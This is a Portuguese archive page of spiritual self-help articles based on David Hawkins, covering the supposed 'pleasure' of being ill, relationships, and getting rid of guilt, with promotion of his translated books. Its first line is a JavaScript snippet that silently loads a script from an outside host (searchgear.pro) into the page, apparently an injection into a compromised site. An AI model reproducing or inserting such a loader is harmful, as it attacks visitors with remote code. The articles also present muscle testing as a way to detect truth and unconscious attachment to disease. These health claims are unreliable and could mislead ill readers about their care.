;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de culpa - David Hawkins Brasil
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David Hawkins

O “gostinho” em ficar doente

Parece impossível que alguém goste de ficar doente. E realmente, de forma consciente e madura, ninguém gosta. Mas, sabe quando uma criança se machuca e quer mostrar o machucado para todo mundo e receber atenção? Pois bem, essa criança ainda vive em nós e todos nós inconscientemente gostamos da atenção que recebemos por estarmos doentes.

Por estar doente, não precisamos cumprir certas obrigações, podemos ter mais momentos de preguiça, podemos ter um tempo para nós mesmos sem culpa e podemos receber carinho e cuidado de uma forma que não receberíamos se estivéssemos saudáveis. 

O problema surge quando esses pequenos prazeres em estar doente se tornam mais importantes para pessoa do que se curar e estar saudável para ter energia para realizar tudo o que escolheu para sua vida.

Reconhecer que estamos presos em gostar de ficar doente ao invés de verdadeiramente querermos nos curar é doloroso e difícil porque envolve olhar para a nossa sombra. No entanto, há técnicas como a cinesiologia, que nos ajudam a como discernir a verdade e nos libertar da falsidade, conforme explicado em um artigo anterior a esse.

“O teste muscular é responsável tanto pelos sistemas de crenças inconscientes quanto pelos conscientes. Os testes muitas vezes revelam que uma pessoa sente ou acredita inconscientemente o oposto do que pensa que acredita conscientemente. A pessoa, por exemplo, pode acreditar conscientemente que deseja curar-se, mas inconscientemente estar apegada às recompensas da doença. Um simples teste muscular revela a verdade sobre o assunto.” – Dr. David Hawkins, Deixar Ir

O gostinho em sofrer ao ficar doente

No artigo sobre dor aguda, citamos um trecho muito importante de crenças que as pessoas têm sobre as doenças e uma delas é de que ao sofrer nos aproximaremos de Deus, por estar “pagando os pecados”. Na verdade, a visão de Deus como justiceiro é uma visão do nível de consciência do medo que nos distancia de Deus. Deus é Amor e Bondade e não quer que a gente sofra. 

“Agora temos que abrir mão da crença de que penitência, culpa, pecado e sofrimento são de enorme benefícios espirituais. Verdadeiramente, todos os milhares de pessoas que tratei clinicamente ao longo de cinquenta anos que tinham dor crônica, culpa, pecado e sofrimento, eram as pessoas mais egoístas e egocêntricas que já conheci. Dor crônica e sofrimento não fazem as pessoas se iluminarem, se tornarem amorosas. Isso normalmente as faz ser mal-humoradas, raivosas, egoístas e egocêntricas, o que as leva para o próximo nível – auto-piedade”  – Dr. David Hawkins, “Cura e Recuperação”

Sentir pena de si mesmo por estar doente coloca a pessoa em um campo de consciência de falsidade. Ela acredita na ilusão de que é vítima da doença, assim assumindo a posição “confortável” de não precisar ser responsável pelo seu processo de cura. Quando, na verdade, não tem nada de “confortável” em permanecer em um estado de doença. 

Estudo de caso: o doente diante da depressão e da culpa

“Um dos maiores obstáculos a superar para sair da depressão e da apatia é o da culpa. A culpa é todo um assunto por si só. Observar isso é gratificante. Para começar, há muitas recompensas em culpar. Podemos ser inocentes; podemos desfrutar da autopiedade; podemos ser o mártir e a vítima; e podemos ser aquele que recebe a simpatia dos outros. Talvez a maior recompensa pela culpa seja que somos a vítima inocente e a outra parte é a má. 

Vemos esse jogo sendo constantemente exibido na mídia, como os intermináveis jogos de culpa dramatizados em uma infinidade de controvérsias, difamação, assassinatos de caráter e ações judiciais. Além da recompensa emocional, a culpa traz benefícios financeiros consideráveis; portanto, é um pacote tentador ser vítima inocente, pois muitas vezes isso é recompensado financeiramente. 

Houve um exemplo famoso disso na cidade de Nova York há muitos anos. Ocorreu um acidente de transporte público. As pessoas saíram pela porta da frente do veículo e depois se reuniram em uma pequena multidão, fornecendo seus nomes e endereços para benefícios financeiros futuros. Os espectadores rapidamente perceberam o jogo e subiram secretamente na traseira do veículo, para que pudessem sair da frente como feridos, “vítimas inocentes”. Eles nem haviam sofrido o acidente, mas iriam receber uma recompensa! 

Culpar os outros é a maior desculpa que existe no mundo. Permite-nos permanecer limitados e pequenos sem nos sentirmos culpados. Mas há um custo: a perda da nossa liberdade. Além disso, o papel de vítima traz consigo uma autopercepção de fraqueza, vulnerabilidade e desamparo, que são os principais componentes da apatia e da depressão.” – Dr. David Hawkins, Deixar Ir

O caminho da cura

O caminho da cura envolve sair do papel de vítima. Além de compreender que “todo não consigo é não quero” e renunciar aos pequenos prazeres que nos fazem não querer verdadeiramente a cura. É preciso coragem de olhar para as nossas sombras e deixar ir essas emoções que nos atordoam. 

Assim como trouxemos o exemplo da depressão para ilustrar o papel da culpa e do vitimismo em uma doença, vamos seguir com a mesma doença para ensinar sobre a cura.

“Uma coisa é analisar a base causal da depressão e outra é entrar totalmente nas profundezas da desesperança, abandonando a resistência ao sentimento. Ao permitir a plena sensação disso e ao abandonar cada sensação, cada pensamento e cada pequena recompensa que você está obtendo com isso, você está livre. Não é necessário investigar o “porquê” da depressão para se libertar do “o quê” ela manifesta.” – Dr. David Hawkins, Deixar Ir

A cura não vem de analisar e entender o problema, como se acredita racionalmente. Tampouco vem em não sentir mais sintomas dessa doença. A verdadeira cura é quando não importa mais se os sintomas vão desparecer ou não porque já não mais nos sentimos vítimas deles. 

“Como se pode saber se a humildade e a entrega estão completas? Estão completas quando se está indiferente para se a cura vai acontecer ou não. Esse é o resultado da entrega para Deus a grandes profundidades e a renúncia do desejo de controlar ou mudar como as coisas são.”  – Dr. David Hawkins, “Cura e Recuperação”

Assuma a responsabilidade de que só você pode escolher com seu livre arbítrio entregar seu sofrimento em estar doente para Deus e se libertar disso. Vamos juntos!

Gloria in Excelsis Deo!

Não perca nada!

Fizemos uma série que já conta com 3 artigos anteriores sobre o “gostinho” do ego em sofrer:

Aproveite essa sequência de artigos para se aprofundar nesse tema que quando observado, muda vidas.

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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Relacionamentos: um guia Prático e Amoroso das Interações Sociais (Parte 1)

Uma pessoa tem uma dedicação exemplar no trabalho. Mas no fundo, não concorda com algumas atitudes do chefe, não tem bons relacionamentos com ninguém, acha alguns colegas de trabalho irritantes, e na sua mente várias coisas passam o tempo todo daquilo que não está bom. Ela só sorri e segue fazendo o que pode. Até que um dia é surpreendida pelo fato que perdeu a promoção que foi oferecida no trabalho. E não sabe o porquê.

Há uma inocência da nossa parte em acreditar que os nossos pensamentos estão só na nossa cabeça, que ninguém consegue perceber o que realmente sentimos e que isso não vai influenciar em nada o contexto. É claro que o chefe conseguia sentir o ressentimento daquela pessoa, mesmo que ele por sua vez também não expressasse nada. Mas algo lhe dizia que “alguma coisa está errada”, mesmo que essa pessoa negue ao perguntarem isso para ela. É esse o exemplo que o dr. David Hawkins nos dá no capítulo 18 sobre Relacionamentos, do livro “Deixar Ir – O Caminho do Desapego”, sobre o qual vamos tratar aqui nesse artigo.

“Quase todo mundo é levado a acreditar que nossos pensamentos e sentimentos são assuntos privados e não são da conta de ninguém, que todas as mentes são separadas e que todas as emoções acontecem apenas dentro dos confins do corpo. (…) Conforme nos tornamos mais intuitivos, iremos rir da nossa ingenuidade até então.”

Aprendendo a assumir a responsabilidade

Quando a gente aprende a lidar com os ressentimentos pela gente mesmo, sem esperar que o outro mude, sem ficar repetindo diálogos, e por vezes até montando diálogos em nossa mente, tudo muda. Não existe relação boa ou ruim, todos os relacionamentos trazem à tona nossos sentimentos mais íntimos, por estarem conectados aos nossos desejos básicos por amor e segurança. Sendo assim, quando estamos em busca de emancipação emocional, todas as relações são valiosas para o nosso aprendizado. É um constante render de sentimentos negativos, sentimentos os quais não seriam observados sem essas relações. 

“Quando os sentimentos internos são rendidos, a forma como vemos a situação muda, e frequentemente somos surpreendidos pela brusquidão com a qual os sentimentos de perdão repentinamente surgem e o relacionamento se transforma, mesmo que a nível exterior não tenhamos feito ou dito nada.”

Não acredite no que está escrito aqui. Teste você mesmo essa teoria de que as pessoas sabem o que está se passando na sua cabeça o tempo todo. Veja o que está na sua cabeça e como elas estão te tratando. Quando observar que há um sentimento negativo em relação ao outro, ao invés de resolver fora de si mesmo, buscando mudar uma atitude do outro, se volte para si. Observe seus sentimentos e deixe-os ir. Aqui, vamos falar dos principais sentimentos negativos que ocorrem nos relacionamentos, e como lidar com cada um deles, assim como o dr. Hawkins nos ensinou.

Raiva

A gente tem uma esperança secreta de que a nossa raiva vai punir os outros e fazê-los sofrer, mas na verdade, tudo o que faz é dar uma justificativa para que essas pessoas possam nos odiar de volta. A verdade é que sentir raiva só prejudica a nós mesmos, e nos coloca num ciclo de raiva, já que o outro provavelmente vai nos responder com mais raiva. É como querer apagar fogo com fogo. Isso gera grande sofrimento. Qual seria então a água que vai acabar com esse fogo? É o Amor. Ao sair desse padrão mais baixo (a raiva) e mudar para um padrão energético mais alto (o Amor), deixamos de ser psiquicamente vulneráveis as outras pessoas.

“Existe uma base científica interessante para a advertência de Jesus de abençoar e amar os nossos inimigos. (…) Quando estamos em um estado de raiva, por exemplo, estamos vulneráveis ao esgotamento de energia trazido pela raiva da outra pessoa. Paradoxalmente, se realmente queremos afetar os outros devemos apenas dar-lhes amor. Então suas raivas vão se voltar contra elas mesmas sem nenhum efeito sobre nós! Esta foi a sabedoria da declaração de Buda no Dhammapada: “O ódio não é conquistado com o ódio. O ódio é conquistado com amor. Essa é uma lei eterna”.”

Culpa

O objetivo aqui é diminuir o outro. Há um desejo oculto de que o outro seja punido, junto com uma autopunição por estarmos no meio disso tudo. É tudo uma projeção inconsciente. Observe que quando a gente se sente culpado por determinado assunto, inevitavelmente seremos “alfinetados” por isso, mais cedo ou mais tarde. Quando não queremos mais que os outros nos critiquem, a solução é Deixar Ir a culpa e todos os outros sentimentos negativos que costumam surgir junto com ela.

“Se mantivermos em mente que somos pequenos e sem valor, extraímos esse tipo de resposta dos outros, cujas observações tendem a indicar que somos pequenos e sem valor. Se pensar que só merecemos o pedaço de um pão, isso é o que teremos. Isso é o que as escrituras quiseram dizer com a declaração “o pobre fica mais pobre e o rico fica mais rico”. Pobreza em qualquer nível, não apenas financeiro, vem da pobreza interna.”

Tristeza e apatia

Esses sentimentos de tristeza e apatia, que nos deixam deprimidos, desesperançosos e cheios de mágoas, vem de uma programação interna de “eu não consigo”. E com isso, a gente espera que esses sentimentos gerem pena nos outros, buscamos que sejam simpáticos com a gente e que a gente possa, assim, ser ajudado. Esse sentimento de pena, até gera uma ajuda inicial. Mas há uma demanda de energia tão grande que o outro tem que nos dar que ele simplesmente vai acabar se afastando. 

Só podemos superar esse estado com a coragem de permitir que essas emoções surjam nas condições adequadas para podermos deixá-las ir. 

“Isso resulta no ditado comum, que soa duro ao coração, mas infelizmente é verdadeiro em muitos casos: “Quando você ri, o mundo ri com você, mas quando você chora, chora sozinho.”.”

Medo

O objetivo do medo nos relacionamentos é possuir a outra pessoa e puni-la pelos nossos próprios medos de perda. A outra pessoa, sentindo essa pressão, tem a vontade de se afastar. Ao contrário do que pensamos popularmente, o medo não nos protege, ele nos aproxima do que mais tememos. É por manter essa insegurança e esse medo em mente que a gente acaba atraindo justamente esse tipo de situação para nossa vida. A saída aqui é renunciar ao nosso desejo interno de controlar os outros, deixando ir os nossos medos, conforme eles surgem. 

“Medo em relacionamento, portanto, é dar o nosso poder para outra pessoa e permitir que ela faça o que tememos. A saída é olhar para o pior cenário possível e para os sentimentos que o despertam e começar a rendê-los. Como outras emoções, o medo pode ser desmembrado em partes, e as partes são facilmente rendidas. Por exemplo, digamos que existe um medo de ataque crítico. Perguntamos para nós mesmos: “Qual é o pior cenário possível?” Com essa dúvida, vemos que a base do medo é o orgulho. Quando o orgulho é reconhecido e rendido, o medo se dissolve automaticamente.”

Orgulho

A esperança secreta que vem com o orgulho é a de ser aceito e admirado pelos outros e melhorar dessa forma seus relacionamentos. O orgulho não é uma emoção positiva, como a sociedade acredita, ele coloca a nossa autoestima em algo temporário e volátil e pode evaporar com uma simples crítica ou um levantar de sobrancelhas. Ele gera um grande esforço, que se manifesta como perfeccionismo, obsessão por limpeza, por trabalho, por ser pontual, ou como polidez e superioridade moral. E ao invés de gerar a aceitação pretendida, os sentimentos que o orgulho gera nas outras pessoas são inveja, competitividade, ódio e fácil exploração.  

Para lidar com o orgulho, o caminho é uma autoestima genuína, que é motivada pela gratidão e humildade interior, sem que haja a necessidade de constantes afagos. Paradoxalmente, é justamente quando paramos de querer que as pessoas gostem de nós, que descobrimos que somos apreciados como somos.

“Falsa humildade apenas diz para a outra pessoa: “Eu sou uma pessoa pequena, por favor me tratem dessa forma” e, é claro, elas prontamente o farão.”

Não perca nada! Essa é só a primeira parte do artigo

Para ler a segunda parte, clique aqui.

Leia sobre relacionamentos direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

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Como Livrar-se da Culpa – Entrevista de Dr. David R. Hawkins

Livrar-se da culpa esse artigo foi originado a partir da transcrição do vídeo intitulado “Como se livrar da culpa”, originado a partir de uma Entrevista do Dr. David R. Hawkins concedida à sua esposa Susan J. Hawkins durante palestra realizada no Institute for Spiritual Research, uma organização sem fins lucrativos dedicada à pesquisa da consciência.

Como nos relacionamos com a culpa?

De que forma nos relacionamentos com a culpa? O que fazemos para nos livrarmos da culpa?

Neste vídeo o Dr. Hawkins, médico e PhD, explica sobre nossa relação com a culpa de uma maneira inusitada.

Sentir-se culpado por aquilo que foi feito é um ato narcisista e egoísta em que a imagem que o ser tem de si mesmo é a de ser o centro do universo onde tudo que acontece tem a ver consigo mesmo.

Livrar-se da culpa, uma lição de nossos grandes mestres

Essa característica egóica e de autocentramento, foi também citada por:

  • Buda, que nos ensinava para “esquecermos o nosso eu como sendo separado do Todo”
  • Jesus Cristo, quando dizia, por exemplo, “que atire a primeira pedra quem nunca pecou” ou “levanta, toma o teu leito e anda…e não peques mais para que coisas piores não lhe aconteçam”.

Jesus, Buda ou Krishna nunca nos disseram para nos sentirmos culpados ou para ficarmos pesarosos diante de nossos erros ou falhas passadas.

Eles sabiam que todo erro e pecado são devido a ignorância: ignorar a Verdade do Amor, acreditando que algo egoísta irá lhe trazer felicidade.

A Felicidade e a Paz do Éden

Ignorar a verdade do amor, esta é a história do Éden, no Gênesis bíblico: acreditar, por ignorância, que morder a maçã oferecida pela serpente será melhor do que a própria Paz do Éden.

E essa é uma das mais precisas representações de nossa mente no mundo material.

Toda vez que mordemos a maçã (acabamos praticando algo egoísta que promete prazeres de curto prazo sem nos importarmos com o longo prazo para nós mesmos e para os outros), saímos da paz do Éden (a serenidade do lado direito do cérebro) e caímos no sofrimento de Nod (a turbulência do lado esquerdo do cérebro).

E como fazer para voltar para o Éden?

Para voltar para o Éden, o caminho não é se culpar, na verdade isso nos afasta ainda mais do Éden (lembre-se que quando Adão e Eva sentiram vergonha, culpa e medo, eles foram “expulsos” do Éden).

O caminho de volta para o Éden é reconhecer aquele novo saber (de que aquela ação ou prática não traz a felicidade, mas sofrimento), se perdoar, pedir perdão e seguir em frente com uma nova consciência, “pagar o que tiver que pagar” e não praticar novamente aquele ato.

Pois, uma vez passado pela experiência e reconhecido o sofrimento, isso basta para não se repetir aquele caminho.

Isso é o que é chamado de sabedoria:

  • Deixar de ignorar a verdade através das experiências as quais você passa e não repeti-las mais na mesma intensidade.
  • Sempre buscar diminuir a intensidade daquela prática, se ela for um vício, ou não praticá-la mais, se for algo pontual.

Como livrar-se da culpa – Transcrição do Vídeo

Dr. David Hawkins: O budismo tende a identificar a culpa como um comportamento indulgente, egoísta e narcisista: “coitado de mim, isso é horrível! Como fui cometer esse erro? O que eu vou fazer a respeito disso?”

É tudo sobre si próprio, então a intenção de Buda era que você saísse dessa posição narcisista e indulgente.

Susan: Então, o melhor a fazer quando cometemos um erro é reconheçamos e seguir em frente?

Dr.David Hawkins: Isso é o que você deve se fazer.

E também, a princípio, existe um “eu” pessoal que fez isso. Conforme você vai se iluminando, vira apenas uma ilusão pensar que havia uma separação entre o “eu” pessoal que fez isso ou aquilo. Isso é tudo uma hipérbole, um exagero.

Bem, você estava dizendo que algumas coisas acontecem como resultado de uma emergência.

Existem campos de atração poderosos que dominam campos de atração mais fracos, que dominam outros campos de atração ainda mais fracos. Então, algo ainda pode escapar de todos eles facilmente e ainda explodir.

O animal que mora no lado esquerdo do nosso cérebro

Não se esqueça que nós temos o lado esquerdo e o lado direito do cérebro.

Se fosse para sermos anjos nesse reino, nós só deveríamos ter o lado direito do cérebro.

O lado esquerdo do cérebro é praticamente um animal e qualquer coisa que eu procuro perdoar a mim mesmo é quase sempre o animal quem causa.

É o animal quem quer ser o primeiro da fila, é o animal quem quer atenção, é o animal quem quer ter o seu território. É quase sempre o animal.

ser espiritual é apenas ignorante, digamos assim.

Mas, o ser humano, por si só, é o lado esquerdo do cérebro, o lado animal, que surge, o instinto animal, a amídala que domina.

Então, o superego reconhece através da culpa que o seu lado animal escapou de você.

Você deve se familiarizar com o seu animal, digamos assim, reconhecer que seu lado animal existe, e que apesar do seu lado animal te causar um monte de problemas, se não fosse por ele, você provavelmente não estaria vivo. (Risos)

Então, nós podemos nos familiarizar com o animal que existe dentro de nós, ao invés de negar que ele existe. E dizemos: “É claro que você quer ser o primeiro, é claro que você quer ser o macho alfa, a fêmea alfa, o mais rico do mundo, o líder do grupo, o mais dominante.

Livrar-se da culpa

Então, uma forma de se livrar de algo, de livrar-se da culpa é reconhecer esse algo e não se livrar disso, mas aceitar isso.

É reconhecer o animal, e dizer “OK”.

Você pode até dar um nome para o seu lado animal, por exemplo, “Perky” (Risos).

Pode dizer: “Ok Perky, estou te ouvindo. É claro que você quer vencer, é claro que você quer vencer a competição de beleza. É claro que você quer ser rico e famoso em Hollywood”.

É isso que domina o pensamento de milhões e milhões de pessoas.

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: www.veritaspub.com/dr-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas.

Estes três livros, O Sucesso é Para Você, Poder vs Força e Deixar Ir, foram traduzidos para o português pela Pandora Treinamentos e estão disponíveis neste em nossa loja virtual.

Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

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Culpa: para que serve? – com base em Dr. David Hawkins

A culpa é tão comum em nossas vidas que nem a percebemos mais, mas ela está presente em quase todos os aspectos de nosso dia a dia.

Você já percebeu como a culpa está presente em nosso cotidiano? Quantas culpas temos instituidas em nosso dia a dia? Caso não, te convido a perceber.

Sentimos culpa em vários momentos por estarmos fazendo alguma coisa e não outra.

Por exemplo: estamos fazendo uma atividade de casa e nos culpamos por não estarmos fazendo uma tarefa do trabalho.

E, quando passamos a fazer essa tarefa, começamos a nos culpar por não termos tempo de estar com a família ou dar atenção para os filhos ou cônjuge.

Aí damos atenção a eles e nos sentimos culpados por não estarmos descansando.

Sentimos culpa em diversas situações.

A culpa também aparece depois:

  • de falarmos algo em hora errada,
  • por errarmos
  • de algo que não saiu do jeito que queríamos,
  • por estarmos em algum lugar quando “deveríamos” estar em outro,
  • de termos magoado alguém.

Além disso, a culpa surge também como negação da responsabilidade e projeção da culpa no externo, que pode gerar até mesmo sensações de:

  • ódio,
  • vingança e
  • ranger dos dentes.

E isso pode levar a culpar o outro por sua infelicidade, por acreditar que:

  • algo saiu diferente do que você queria,
  • por essa pessoa ser diferente,
  • porque não conseguir controlar as ações dela,
  • por ter estragado algo,
  • ou por outra qualquer coisa.

A culpa se transforma rapidamente em ódio vingativo.

Na história de nossa sociedade, vimos diversos políticos tiranos absolutistas cometerem atrocidades e dizimarem nações e culturas por projetarem nos outros a culpa por suas infelicidades ou por não conseguirem o que querem.

E o que é a culpa?

A culpa é um mecanismo de defesa do nosso ego que não leva em consideração a curva de aprendizagem, onde tudo acontece por um motivo para que estejamos em constante evolução.

Se passamos por uma situação é porque precisamos passar, caso contrário não passaríamos. Essa é a Realidade.

Aceitar a realidade sem cair em culpa é um desafio.

Para isso, é importante buscar trocar o sentimento de culpa interna ou externa por responsabilidade pessoal própria e intransferível.

Tudo que acontece com você é sua responsabilidade, pois suas decisões te levaram até ali e suas necessidades de aprendizado inconscientes atraem as situações pelas quais você passa.

Portanto, é necessário trocar culpa por responsabilidade de aceitar, aprender e mudar quando possível.

Gosto muito de uma frase do teólogo Reinhold Niebuhr que ajuda bastante no processo de transcendência da culpa:

“Que eu tenha serenidade para aceitar as coisas que não posso mudar, coragem para mudar as que posso e sabedoria para distinguir entre as duas.”

A culpa apenas nos faz sentir negativos diante das situações e gastar energia com aquilo que não podemos mudar, que é o passado, acreditando que ele prejudicou seu presente e seu futuro.

Mas isso é uma ausência de Realidade, logo, falsidade. Pois tudo está suscetível à mudança a todo momento, assim como a alegria e felicidade de cada um de nós.

Pois bem, essa é uma questão de decisão. Largar mão do negativo e deixar de lado as resistências ao positivo.

E o que fazer com os erros que cometemos?

Decisões passadas foram tomadas com base no limite de consciência daquele momento passado.

Enxergamos hoje como uma escolha ruim porque evoluímos. Caso contrário, enxergaríamos como uma boa escolha ou nem a perceberíamos, por ser uma escolha normal.

Então, entender, honrar e respeitar suas limitações passadas faz com que o erro deixe de ser prejudicial.

De inútil, o erro se transforma em algo benéfico e útil: aprendizado. Ao invés de sofrer, podemos agradecer por perceber os erros e ter a oportunidade de superá-los.

E, com isso, a alegria súbita surge. Pois, ao aprendermos algo e pararmos de resistir às situações como aconteceram, a angústia é trocada por alívio.

E então, para que ela serve?

A resposta mais certeira é: para nada.

No estado adulto a culpa se torna obsoleta. Ela é um recurso necessário apenas na fase de desenvolvimento do ser humano.

Assim, a partir da culpa, a criança em formação pode discernir o certo do errado e a moralidade da imoralidade, adquirindo responsabilidade sobre seus atos ou ausência de atos.

Quando já temos isso definido em nosso sistema, na limitação de nossos níveis de consciência e percepções de cada momento, a culpa se torna obsoleta e pode ser substituída completamente por aprendizagem súbita e radical.

Errou? Aprenda e pronto! Só isso.

Se sentir que é necessário, peça perdão se perceber que alguém se feriu, com verdade e compaixão.

E siga em frente dando o seu melhor, com gratidão pela oportunidade de uma evolução de consciência.

Observação: o segredo para superar a culpa.

Para vencer a culpa é necessário observar.

Observar profundamente como nossos sentimentos constroem padrões que protegem nossos prazeres de curto prazo e nos defendem dos desprazeres sensoriais, evitando nossa evolução.

E como esses sentimentos argumentam sobre o que está “certo” ou “errado” através de pensamentos sedutores.

Então, esses pensamentos sedutores nos convencem de que nossa visão de mundo é a correta.

O pensamento se torna ação, depois hábito. Forma nosso caráter e, por fim, manifesta-se nos resultados que alcançamos ou não alcançamos em nossas vidas.

Mas como assim? O que significa observar?

Observar é perceber os sentimentos, as sensações e os pensamentos como eles são e se manifestam.

E é por isso que, a partir daí, podemos perceber que esses impulsos são apenas sugestões da mente.

Mais do que isso, percebemos que nós não somos os nossos impulsos, mas o observador por trás deles.

Assim como o silêncio permite a música, como o espaço permite a matéria, o observador permite o pensamento.

Observação não é:

  • analise,
  • crítica,
  • reflexão,
  • julgamentalismo,
  • posicionalidade,
  • resistência ao que surge,
  • querer mudar o que surge,
  • querer entender os porquês.


Nada disso! Observação é puro entendimento e compreensão silenciosos. Sem qualquer ruído ou barulho que nos desfoque da profundidade daquilo que é real.

É aceitação e é desapego.

Essa aceitação com o que se foi e o desapego no controle do resultado, se permitindo ser quem é em um estilo de vida onde você dá o seu melhor em todos os momentos, é Amor.

E Amor cura a culpa.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual